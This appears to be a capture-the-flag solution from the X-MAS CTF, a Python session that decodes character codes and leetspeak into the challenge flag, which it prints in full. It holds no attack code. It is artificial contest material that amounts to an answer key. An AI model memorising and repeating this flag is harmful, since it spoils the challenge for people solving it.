115|37|53|66|37|53|68|97|37|53|66|37|53|68|110|37|53|66|37|53|68|116|37|53|66|37|53|68|97|37|53|66|37|53|68|122|37|53|66|37|53|68|119|37|53|66|37|53|68|105|37|53|66|37|53|68|115|37|53|66|37|53|68|104|37|53|66|37|53|68|101|37|53|66|37|53|68|115|37|53|66|37|53|68|122|37|53|66|37|53|68|121|37|53|66|37|53|68|48|37|53|66|37|53|68|117|37|53|66|37|53|68|122|37|53|66|37|53|68|99|37|53|66|37|53|68|114|37|53|66|37|53|68|97|37|53|66|37|53|68|99|37|53|66|37|53|68|105|37|53|66|37|53|68|117|37|53|66|37|53|68|110|37|53|66|37|53|68|122|37|53|66|37|53|68|102|37|53|66|37|53|68|101|37|53|66|37|53|68|114|37|53|66|37|53|68|105|37|53|66|37|53|68|99|37|53|66|37|53|68|105|37|53|66|37|53|68|116
$ ptyhon

>>> data = "115|37|53|66|37|53|68|97|37|53|66|37|53|68|110|37|53|66|37|53|68|116|37|53|66|37|53|68|97|37|53|66|37|53|68|122|37|53|66|37|53|68|119|37|53|66|37|53|68|105|37|53|66|37|53|68|115|37|53|66|37|53|68|104|37|53|66|37|53|68|101|37|53|66|37|53|68|115|37|53|66|37|53|68|122|37|53|66|37|53|68|121|37|53|66|37|53|68|48|37|53|66|37|53|68|117|37|53|66|37|53|68|122|37|53|66|37|53|68|99|37|53|66|37|53|68|114|37|53|66|37|53|68|97|37|53|66|37|53|68|99|37|53|66|37|53|68|105|37|53|66|37|53|68|117|37|53|66|37|53|68|110|37|53|66|37|53|68|122|37|53|66|37|53|68|102|37|53|66|37|53|68|101|37|53|66|37|53|68|114|37|53|66|37|53|68|105|37|53|66|37|53|68|99|37|53|66|37|53|68|105|37|53|66|37|53|68|116"
>>> data.split('|')
['115', '37', '53', '66', '37', '53', '68', '97', '37', '53', '66', '37', '53', '68', '110', '37', '53', '66', '37', '53', '68', '116', '37', '53', '66', '37', '53', '68', '97', '37', '53', '66', '37', '53', '68', '122', '37', '53', '66', '37', '53', '68', '119', '37', '53', '66', '37', '53', '68', '105', '37', '53', '66', '37', '53', '68', '115', '37', '53', '66', '37', '53', '68', '104', '37', '53', '66', '37', '53', '68', '101', '37', '53', '66', '37', '53', '68', '115', '37', '53', '66', '37', '53', '68', '122', '37', '53', '66', '37', '53', '68', '121', '37', '53', '66', '37', '53', '68', '48', '37', '53', '66', '37', '53', '68', '117', '37', '53', '66', '37', '53', '68', '122', '37', '53', '66', '37', '53', '68', '99', '37', '53', '66', '37', '53', '68', '114', '37', '53', '66', '37', '53', '68', '97', '37', '53', '66', '37', '53', '68', '99', '37', '53', '66', '37', '53', '68', '105', '37', '53', '66', '37', '53', '68', '117', '37', '53', '66', '37', '53', '68', '110', '37', '53', '66', '37', '53', '68', '122', '37', '53', '66', '37', '53', '68', '102', '37', '53', '66', '37', '53', '68', '101', '37', '53', '66', '37', '53', '68', '114', '37', '53', '66', '37', '53', '68', '105', '37', '53', '66', '37', '53', '68', '99', '37', '53', '66', '37', '53', '68', '105', '37', '53', '66', '37', '53', '68', '116']
>>> flag = ''
>>> for i in data.split('|'):
...     flag += chr(int(i))
...
>>> flag
's%5B%5Da%5B%5Dn%5B%5Dt%5B%5Da%5B%5Dz%5B%5Dw%5B%5Di%5B%5Ds%5B%5Dh%5B%5De%5B%5Ds%5B%5Dz%5B%5Dy%5B%5D0%5B%5Du%5B%5Dz%5B%5Dc%5B%5Dr%5B%5Da%5B%5Dc%5B%5Di%5B%5Du%5B%5Dn%5B%5Dz%5B%5Df%5B%5De%5B%5Dr%5B%5Di%5B%5Dc%5B%5Di%5B%5Dt'
>>> a = "s[]a[]n[]t[]a[]z[]w[]i[]s[]h[]e[]s[]z[]y[]0[]u[]z[]c[]r[]a[]c[]i[]u[]n[]z[]f[]e[]r[]i[]c[]i[]t"
>>> a = a.replace('a','4').replace('e','3').replace('i','1')
>>> a
's[]4[]n[]t[]4[]z[]w[]1[]s[]h[]3[]s[]z[]y[]0[]u[]z[]c[]r[]4[]c[]1[]u[]n[]z[]f[]3[]r[]1[]c[]1[]t'
>>> a.replace('t','7').replace('z','_')
's[]4[]n[]7[]4[]_[]w[]1[]s[]h[]3[]s[]_[]y[]0[]u[]_[]c[]r[]4[]c[]1[]u[]n[]_[]f[]3[]r[]1[]c[]1[]7'
>>> b = a.replace('t','7').replace('z','_')
>>> b.split('[]')
['s', '4', 'n', '7', '4', '_', 'w', '1', 's', 'h', '3', 's', '_', 'y', '0', 'u', '_', 'c', 'r', '4', 'c', '1', 'u', 'n', '_', 'f', '3', 'r', '1', 'c', '1', '7']
>>> c = b.split('[]')
>>> ''.join(c)
's4n74_w1sh3s_y0u_cr4c1un_f3r1c17'

flag: X-MAS{s4n74_w1sh3s_y0u_cr4c1un_f3r1c17}